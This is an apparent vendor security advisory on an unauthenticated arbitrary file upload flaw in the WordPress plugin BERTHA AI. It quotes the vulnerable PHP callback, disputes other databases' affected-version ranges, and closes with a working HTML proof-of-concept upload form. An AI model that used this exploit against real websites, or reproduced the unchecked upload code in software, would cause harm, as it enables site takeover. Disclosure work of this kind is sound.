Arbitrary File Upload Vulnerability in BERTHA AI
We recently had a hacker probing for usage of the WordPress plugin BERTHA AI on our website with the following request:
/wp-content/plugins/bertha-ai-free/readme.txt
There are no recent changelog entries to suggest a security fix has been recently released. It turns out there was a recent security update, but the changelog for that version reads “Removed Whisper Code and functionality.”
It also turns out the vulnerability is slightly more serious than the relevant code suggests.
Looking for any recent claims of vulnerabilities in the plugin, there was a claim of an arbitrary file upload vulnerability in the plugin. That was claimed to involve the function bthai_wa_translate_audio_callback(), which was located in the file /classes/class-bertha-ai-ajax.php. That was registered to be accessible through WordPress’ AJAX functionality even by those not logged in to WordPress:
73 74 | add_action('wp_ajax_wa_ber_translate_audio', array(&$this, 'bthai_wa_translate_audio_callback')); add_action('wp_ajax_nopriv_wa_ber_translate_audio', array(&$this, 'bthai_wa_translate_audio_callback')); |
The code looks to allow uploading an arbitrary file to the website, which then, in the final line of code shown, is deleted:
2911 2912 2913 2914 2915 2916 2917 2918 2919 2920 2921 2922 2923 2924 2925 2926 2927 2928 2929 2930 2931 2932 2933 2934 2935 2936 2937 2938 2939 2940 2941 2942 2943 2944 2945 2946 2947 2948 | function bthai_wa_translate_audio_callback() { $return = array(); $file = isset($_FILES['file']) ? $_FILES['file'] : array(); $type = isset($_POST['type']) ? sanitize_text_field($_POST['type']) : "ber_trc"; $upload_dir = wp_upload_dir(); $file_name = $file['name']; $file_tmp = $file['tmp_name']; $file_path = $upload_dir['path'] . '/' . $file_name; $file_url = $upload_dir['url'] . '/' . $file_name; move_uploaded_file($file_tmp, $file_path); $user_email = $this->bthai_get_customer_email(); $idea_unique_id = md5(uniqid()); $url = 'https://bertha.ai/wp-json/wa/implement'; $args = array( 'method' => 'POST', 'timeout' => 40, 'body' => json_encode( array( 'language' => $language, 'strict_mode' => $this->strict_mode, 'file' => $file_url, 'type' => $type, 'template' => 'audio', 'key' => BTHAI_LICENSE_KEY, 'home_url' => get_admin_url(), 'current_user' => $user_email, 'idea_unique_id' => $idea_unique_id) ), 'headers' => [ 'Authorization' => 'Bearer ' . BTHAI_LICENSE_KEY, 'Content-Type' => 'application/json', ], ); $response = wp_remote_post($url, $args); exit(print_r($response)); $body = json_decode($response['body']); exit('test'); if(!empty($body) && $body->text) { $return['html'] = $body->text; } elseif($body->token_denied) { $return['token_denied'] = $body->token_denied; } else { $return['html'] = 'Failed'; } delete_transient(BTHAI_TRANSIENT_LICENSE_DETAILS); unlink($file_path); |
In testing this, we found that the code was hitting an error and stopped running before the file was deleted.
The vulnerability was resolved by removing the function.
Wrong Versions Listed Vulnerable
As is often the case, data from other providers is wrong about key details. Here both WPScan and Wordfence are claiming that this vulnerability is “in all versions up to and including 1.11.10.7,” but in reality the vulnerable code was only added in version 1.11.7. (WPScan wholesale copied Wordfence’s description on this vulnerability without crediting them.)
That type of inaccurate version information is problematic for anyone trying to determine how a website has been hacked, as it will make it seem that many websites contain vulnerabilities they don’t contain.
As this vulnerability looks to be being exploited, we are adding accurate data on it to the free data that comes with our Plugin Vulnerabilities plugin.
We Already Provided Protection
We tested and confirmed that our firewall plugin for WordPress protected against the vulnerability, even before the vulnerability was discovered, as part of its protection against zero-day vulnerabilities.
Proof of Concept
The following proof of concept will upload the file sent with the request to the current month’s media directory in the /wp-content/uploads/ directory.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wa_ber_translate_audio" enctype="multipart/form-data" method="POST"> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body>